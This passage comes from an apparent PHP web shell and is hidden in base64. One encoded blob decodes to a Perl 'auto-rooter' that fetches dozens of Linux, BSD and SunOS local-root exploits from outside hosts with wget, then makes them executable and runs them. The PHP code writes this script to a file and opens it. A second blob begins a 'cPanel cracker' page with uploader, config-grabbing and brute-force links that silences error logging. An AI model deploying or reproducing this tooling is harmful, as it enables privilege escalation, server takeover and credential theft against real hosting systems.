c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45LTIwMDQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktMjAwNCIpOwpzeXN0ZW0oIi4vMi42LjktMjAwNCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjktMjAwOCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS0yMDA4Iik7CnN5c3RlbSgiLi8yLjYuOS0yMDA4Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS0zNCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS0zNCIpOwpzeXN0ZW0oIi4vMi42LjktMzQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45LTQyLjAuMy5FTHNtcCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS00Mi4wLjMuRUxzbXAiKTsKc3lzdGVtKCIuLzIuNi45LTQyLjAuMy5FTHNtcCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjktNDIuMC4zLkVMc21wLTIwMDYiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktNDIuMC4zLkVMc21wLTIwMDYiKTsKc3lzdGVtKCIuLzIuNi45LTQyLjAuMy5FTHNtcC0yMDA2Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS01NSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS01NSIpOwpzeXN0ZW0oIi4vMi42LjktNTUiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45LTU1LTIwMDctcHJ2OCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS01NS0yMDA3LXBydjgiKTsKc3lzdGVtKCIuLzIuNi45LTU1LTIwMDctcHJ2OCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjktNTUtMjAwOC1wcnY4Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi45LTU1LTIwMDgtcHJ2OCIpOwpzeXN0ZW0oIi4vMi42LjktNTUtMjAwOC1wcnY4Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS02NzIwMDgiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktNjcyMDA4Iik7CnN5c3RlbSgiLi8yLjYuOS02NzIwMDgiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45LjIiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjkuMiIpOwpzeXN0ZW0oIi4vMi42LjkuMiIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjkxLTIwMDciKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjkxLTIwMDciKTsKc3lzdGVtKCIuLzIuNi45MS0yMDA3Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMDA3Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIwMDciKTsKc3lzdGVtKCIuLzIwMDciKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIwMDktbG9jYWwiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMjAwOS1sb2NhbCIpOwpzeXN0ZW0oIi4vMjAwOS1sb2NhbCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMjAwOS13dW5kZXJiYXIiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMjAwOS13dW5kZXJiYXIiKTsKc3lzdGVtKCIuLzIwMDktd3VuZGVyYmFyIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyMSIpOwpzeXN0ZW0oIi4vMjEiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzMiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMyIpOwpzeXN0ZW0oIi4vMyIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMy40LjYtOS0yMDA3Iik7CnN5c3RlbSgiY2htb2QgNzc3IDMuNC42LTktMjAwNyIpOwpzeXN0ZW0oIi4vMy40LjYtOS0yMDA3Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8zMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAzMSIpOwpzeXN0ZW0oIi4vMzEiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzM2LXJjMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAzNi1yYzEiKTsKc3lzdGVtKCIuLzM2LXJjMSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNCIpOwpzeXN0ZW0oImNobW9kIDc3NyA0Iik7CnN5c3RlbSgiLi80Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC80NCIpOwpzeXN0ZW0oImNobW9kIDc3NyA0NCIpOwpzeXN0ZW0oIi4vNDQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzQ3Iik7CnN5c3RlbSgiY2htb2QgNzc3IDQ3Iik7CnN5c3RlbSgiLi80NyIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNSIpOwpzeXN0ZW0oImNobW9kIDc3NyA1Iik7CnN5c3RlbSgiLi81Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC81MCIpOwpzeXN0ZW0oImNobW9kIDc3NyA1MCIpOwpzeXN0ZW0oIi4vNTAiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzU0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDU0Iik7CnN5c3RlbSgiLi81NCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNiIpOwpzeXN0ZW0oImNobW9kIDc3NyA2Iik7CnN5c3RlbSgiLi82Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC82NyIpOwpzeXN0ZW0oImNobW9kIDc3NyA2NyIpOwpzeXN0ZW0oIi4vNjciKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzciKTsKc3lzdGVtKCJjaG1vZCA3NzcgNyIpOwpzeXN0ZW0oIi4vNyIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNy0yIik7CnN5c3RlbSgiY2htb2QgNzc3IDctMiIpOwpzeXN0ZW0oIi4vNy0yIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC83eCIpOwpzeXN0ZW0oImNobW9kIDc3NyA3eCIpOwpzeXN0ZW0oIi4vN3giKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzgiKTsKc3lzdGVtKCJjaG1vZCA3NzcgOCIpOwpzeXN0ZW0oIi4vOCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvOSIpOwpzeXN0ZW0oImNobW9kIDc3NyA5Iik7CnN5c3RlbSgiLi85Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC85MCIpOwpzeXN0ZW0oImNobW9kIDc3NyA5MCIpOwpzeXN0ZW0oIi4vOTAiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290Lzk0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDk0Iik7CnN5c3RlbSgiLi85NCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvTGludXhfMi42LjEyIik7CnN5c3RlbSgiY2htb2QgNzc3IExpbnV4XzIuNi4xMiIpOwpzeXN0ZW0oIi4vTGludXhfMi42LjEyIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9MaW51eF8yLjYuOS1qb29seXNoaXQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgTGludXhfMi42Ljktam9vbHlzaGl0Iik7CnN5c3RlbSgiLi8yLjYuMTgtMjAxMSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvYWNpZCIpOwpzeXN0ZW0oImNobW9kIDc3NyBhY2lkIik7CnN5c3RlbSgiLi9hY2lkIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9kM3ZpbCIpOwpzeXN0ZW0oImNobW9kIDc3NyBkM3ZpbCIpOwpzeXN0ZW0oIi4vZDN2aWwiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cDEiKTsKc3lzdGVtKCJjaG1vZCA3NzcgZXhwMSIpOwpzeXN0ZW0oIi4vZXhwMSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvZXhwMiIpOwpzeXN0ZW0oImNobW9kIDc3NyBleHAyIik7CnN5c3RlbSgiLi9leHAyIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9leHAzIik7CnN5c3RlbSgiY2htb2QgNzc3IGV4cDMiKTsKc3lzdGVtKCIuL2V4cDMiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cGxvaXQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgZXhwbG9pdCIpOwpzeXN0ZW0oIi4vZXhwbG9pdCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvZnVsbC1uZWxzb24iKTsKc3lzdGVtKCJjaG1vZCA3NzcgZnVsbC1uZWxzb24iKTsKc3lzdGVtKCIuL2Z1bGwtbmVsc29uIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9nYXlyb3MiKTsKc3lzdGVtKCJjaG1vZCA3NzcgZ2F5cm9zIik7CnN5c3RlbSgiLi9nYXlyb3MiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2xlbmlzLnNoIik7CnN5c3RlbSgiY2htb2QgNzc3IGxlbmlzLnNoIik7CnN5c3RlbSgiLi9sZW5pcy5zaCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7CnN5c3RlbSgiY2htb2QgNzc3IGxvY2FsLTIuNi45LTIwMDUtMjAwNiIpOwpzeXN0ZW0oIi4vbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7CnN5c3RlbSgiY2htb2QgNzc3IGxvY2FsLXJvb3QtZXhwbG9pdC1nYXlyb3MiKTsKc3lzdGVtKCIuL2xvY2FsLXJvb3QtZXhwbG9pdC1nYXlyb3MiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3ByaXY0Iik7CnN5c3RlbSgiY2htb2QgNzc3IHByaXY0Iik7CnN5c3RlbSgiLi9wcml2NCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvcHdua2VybmVsIik7CnN5c3RlbSgiY2htb2QgNzc3IHB3bmtlcm5lbCIpOwpzeXN0ZW0oIi4vcHdua2VybmVsIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9yb290LnB5Iik7CnN5c3RlbSgiY2htb2QgNzc3IHJvb3QucHkiKTsKc3lzdGVtKCIuL3Jvb3QucHkiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3J1bngiKTsKc3lzdGVtKCJjaG1vZCA3NzcgcnVueCIpOwpzeXN0ZW0oIi4vcnVueCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvdGl2b2xpIik7CnN5c3RlbSgiY2htb2QgNzc3IHRpdm9saSIpOwpzeXN0ZW0oIi4vdGl2b2xpIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC91YnVudHUiKTsKc3lzdGVtKCJjaG1vZCA3NzcgdWJ1bnR1Iik7CnN5c3RlbSgiLi91YnVudHUiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYS5wb21mLnNlL3R4ZmZndi56aXAiKTsKc3lzdGVtKCJ1bnppcCB0eGZmZ3YuemlwIik7CnN5c3RlbSgiY2htb2QgK3ggdHJvbGxlZCIpOwpzeXN0ZW0oIi4vdHJvbGxlZCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJjaG1vZCAreCAzX1giKTsKc3lzdGVtKCIuLzNfWCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKCgpwcmludCAiRW5kIExpbnV4Li4gWytdXG4iOwp9CmlmICgkQVJHVlswXSA9fiAiYnNkIiApCnsKcHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNcbiI7CnByaW50ICIjIExpbnV4L0JzZC9TdW5vcyBBVVRPLVJPT1RFUiAgI1xuIjsKcHJpbnQgIiMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjXG4iOwpwcmludCAiIyAgICAgICAgSGF2ZSBhIGNvZmZlICAgICAgICAgICNcbiI7CnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsKcHJpbnQgIiMgICAgICAgUm9vdGluZyBCU0QgICAgICAgICAgICAjXG4iOwpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsKc3lzdGVtKCJ1bmFtZSAtYTtta2RpciBic2Q7Y2QgYnNkIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2EucG9tZi5zZS9qd2dvYm4uemlwIik7CnN5c3RlbSgidW56aXAgandnb2JuLnppcCIpOwpzeXN0ZW0oImNobW9kIDc3NyA0OGxvY2FsIik7CnN5c3RlbSgiLi80OGxvY2FsIik7CnN5c3RlbSgiaWQiKTsKCnN5c3RlbSgiY2htb2QgNzc3IGJzZGxvY2FsIik7CnN5c3RlbSgiLi9ic2Rsb2NhbCIpOwpzeXN0ZW0oImlkIik7CgpzeXN0ZW0oImNobW9kIDc3NyBCU0QzLjZfbG9jYWxyb290Iik7CnN5c3RlbSgiLi9CU0QzLjZfbG9jYWxyb290Iik7CnN5c3RlbSgiaWQiKTsKCgoKCnByaW50ICJFbmQgQnNkLi4gWytdXG4iOwp9CmlmICgkQVJHVlswXSA9fiAic3Vub3MiICkKewpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsKcHJpbnQgIiMgTGludXgvQnNkL1N1bm9zIEFVVE8tUk9PVEVSICAjXG4iOwpwcmludCAiIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICNcbiI7CnByaW50ICIjICAgICAgICBIYXZlIGEgY29mZmUgICAgICAgICAgI1xuIjsKcHJpbnQgIiMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjXG4iOwpwcmludCAiIyAgICAgICBSb290aW5nIFN1bm9zICAgICAgICAgICNcbiI7CnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOwpzeXN0ZW0oInVuYW1lIC1hO21rZGlyIHN1bm9zO2NkIHN1bm9zIik7CnN5c3RlbSgid2dldCBodHRwOi8vYS5wb21mLnNlL2trcGd2cy56aXAiKTsKc3lzdGVtKCJ1bnppcCBra3BndnMuemlwIik7CnN5c3RlbSgiY2htb2QgNzc3IHhfb3NoLnBsICIpOwpzeXN0ZW0oInBlcmwgeF9vc2gucGwgIik7CnN5c3RlbSgiaWQiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvU3VuT1MlMjA1Ljkvc3Vub3M1OSIpOwpzeXN0ZW0oImNobW9kIDc3NyBzdW5vczU5Iik7CnN5c3RlbSgiLi9zdW5vczU5Iik7CnN5c3RlbSgiaWQiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvU3VuT1MlMjA1LjgvZmluYWwiKTsKc3lzdGVtKCJjaG1vZCA3NzcgZmluYWwiKTsKc3lzdGVtKCIuL2ZpbmFsIik7CnN5c3RlbSgiaWQiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvU3VuT1MlMjA1Ljcvc29sYXJpczI3Iik7CnN5c3RlbSgiY2htb2QgK3ggc29sYXJpczI3Iik7CnN5c3RlbSgiLi9zb2xhcmlzMjciKTsKc3lzdGVtKCJpZCIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC9TdW5PUyUyMDUuMTAvc3Vub3M1MTAiKTsKc3lzdGVtKCJjaG1vZCAreCBzdW5vczUxMCIpOwpzeXN0ZW0oIi4vc3Vub3M1MTAiKTsKc3lzdGVtKCJpZCIpOwoKCnByaW50ICJFbmQgU3VuT1MgLi5bK11cbiI7Cn0=';
- $file = fopen("rooter.php","w");
- $write = fwrite ($file ,base64_decode($rooter));
- fclose($file);
- header("location:rooter.php"); }
- if(isset($_POST['cpc'])){
- $cpc = 'PD9waHAKQHNlc3Npb25fc3RhcnQoKTsgCkBlcnJvcl9yZXBvcnRpbmcoMCk7IApAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsgCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsgCkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOyAKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCkBzZXRfdGltZV9saW1pdCgwKTsgCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7IAoKPz4KPGh0bWw+Cjx0aXRsZT5YLUNwYW5lbCBDcmFja2VyIGJ5IFdhamRhbiBCdXR0PC90aXRsZT4KPGJvZHk+Cgo8U1RZTEU+dGV4dGFyZWF7YmFja2dyb3VuZC1jb2xvcjojMTA1NzAwO2NvbG9yOmxpbWU7Zm9udC13ZWlnaHQ6Ym9sZDtmb250LXNpemU6IDEwcHg7Zm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzAwMDAwMDt9CmlucHV0e0ZPTlQtV0VJR0hUOm5vcm1hbDtiYWNrZ3JvdW5kLWNvbG9yOiAjMTA1NzAwO2ZvbnQtc2l6ZTogMTBweDtmb250LXdlaWdodDpib2xkO2NvbG9yOiBsaW1lOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2O2hlaWdodDoyMCB9CmJvZHkgeyBmb250LWZhbWlseTogVGFob21hfQoueC1pbmogeyBmb250LWZhbWlseTogVml2YWxkaX0KdHIgeyBCT1JERVI6IGRhc2hlZCAxcHggIzMzMzsgY29sb3I6ICMwMGZmOyB9CnRkIHsgQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7IGNvbG9yOiAjMDBmZjsgfQoudGFibGUxIHsgQk9SREVSOiAwcHggQmxhY2s7IEJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOyBjb2xvcjogIzAwZmY7IH0KLnRkMSB7IEJPUkRFUjogMHB4OyBCT1JERVItQ09MT1I6ICMzMzMzMzM7IGZvbnQ6IDhwdCBWZXJkYW5hOyBjb2xvcjogIzAwZmYwMDsgfQoudHIxIHsgQk9SREVSOiAwcHg7IEJPUkRFUi1DT0xPUjogIzMzMzMzMzsgY29sb3I6ICMwMGZmOyB9CnRhYmxlIHsgQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7IEJPUkRFUi1DT0xPUjogIzMzMzMzMzsgQkFDS0dST1VORC1DT0xPUjogQmxhY2s7IGNvbG9yOiAjMDBmZjsgfQppbnB1dCB7IGJvcmRlcjogZGFzaGVkIDFweDsgYm9yZGVyLWNvbG9yOiAjMzMzOyBCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsgZm9udDogOHB0IFZlcmRhbmE7IGNvbG9yOiAjMDBmZjsgfQpzZWxlY3QgeyBCT1JERVItUklHSFQ6ICBCbGFjayAxcHggc29saWQ7IEJPUkRFUi1UT1A6ICAgICMwMGZmIDFweCBzb2xpZDsgQk9SREVSLUxFRlQ6ICAgIzAwZmYgMXB4IHNvbGlkOyBCT1JERVItQk9UVE9NOiBCbGFjayAxcHggc29saWQ7IEJPUkRFUi1jb2xvcjogIzAwZmY7IEJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOyBmb250OiBwdCBWZXJkYW5hOyBjb2xvcjogIzAwZmY7IH0Kc3VibWl0IHsgQk9SREVSOiAgYnV0dG9uaGlnaGxpZ2h0IDJweCBvdXRzZXQ7IEJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOyB3aWR0aDogMzAlOyBjb2xvcjogIzAwZmY7IH0KdGV4dGFyZWEgeyBib3JkZXI6IGRhc2hlZCAxcHggIzMzMzsgQkFDS0dST1VORC1DT0xPUjogQmxhY2s7IGZvbnQ6IEZpeGVkc3lzIGJvbGQ7IGNvbG9yOiAjOTk5OyB9CkJPRFkgewlTQ1JPTExCQVItRkFDRS1DT0xPUjogQmxhY2s7IFNDUk9MTEJBUi1ISUdITElHSFQtY29sb3I6ICMwMGZmOyBTQ1JPTExCQVItU0hBRE9XLWNvbG9yOiAjMDBmZjsgU0NST0xMQkFSLTNETElHSFQtY29sb3I6ICMwMGZmOyBTQ1JPTExCQVItQVJST1ctQ09MT1I6IEJsYWNrOyBTQ1JPTExCQVItVFJBQ0stY29sb3I6ICMwMGZmOyBTQ1JPTExCQVItREFSS1NIQURPVy1jb2xvcjogIzAwZmYgbWFyZ2luOiAxcHg7IGNvbG9yOiAjMDBmZjAwOyBiYWNrZ3JvdW5kLWNvbG9yOiBCbGFjazsgfQoubWFpbiB7IG1hcmdpbjogLTI4N3B4IDBweCAwcHggLTQ5MHB4OyBCT1JERVI6IGRhc2hlZCAxcHggIzMzMzsgQk9SREVSLUNPTE9SOiAjMzMzMzMzOyB9Ci50dCB7IGJhY2tncm91bmQtY29sb3I6IEJsYWNrOyB9CkE6bGluayB7IENPTE9SOiBXaGl0ZTsgVEVYVC1ERUNPUkFUSU9OOiBub25lIH0KQTp2aXNpdGVkIHsJQ09MT1I6IFdoaXRlOyBURVhULURFQ09SQVRJT046IG5vbmUgfQpBOmhvdmVyIHsgY29sb3I6ICMwMGZmMDA7IFRFWFQtREVDT1JBVElPTjogbm9uZSB9CkE6YWN0aXZlIHsgY29sb3I6ICMwMGZmMDA7IFRFWFQtREVDT1JBVElPTjogbm9uZSB9CjwvU1RZTEU+CgoKPD9waHAKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCmVjaG8gIjxjZW50ZXI+Cgo8aW1nIHNyYz0naHR0cHM6Ly9lbmNyeXB0ZWQtdGJuMi5nc3RhdGljLmNvbS9pbWFnZXM/cT10Ym46QU5kOUdjUU5TUVNjdGpsdGFENkVwWkNJTEpxY2xuZVdsTWR1SnJoWVY4RHVkRDFLTjB1aWt3dVonPjxicj4KPGI+PGZvbnQgY29sb3I9JyMwMGZmMDAnIGNsYXNzPSd4LWluaicgc2l6ZT0nNSc+WC1DcGFuZWwgQ3JhY2tlciBCeSBXYWpkYW4gQnV0dCA8L2ZvbnQ+PGJyPjxicj48YnI+PC9iPjxiPgo8Zm9udCBzaXplPSczJz4KfHwgPGEgaHJlZj0nP2RvPXVwbG9hZGVyJz4uL1VwbG9hZGVyPC9hPiB8IDxhIGhyZWY9Jz9kbz1jb25maWcnPi4vQ29uZmlnPC9hPiB8IDxhIGhyZWY9Jz9kbz1iaGNvbmZpZyc+Li9CLUYgQ29uZmlnIENwYW5lbDwvYT4gfCA8YSBocmVmPSc/ZG89YnJ1dGUnPi4vQ3BhbmVsIEJydXRlRm9yY2U8L2E+IHx8PC9iPjxicj48YnI+PGJyPjwvY2VudGVyPjwvZm9udD48YnI+ICI7CgppZihpc3NldCg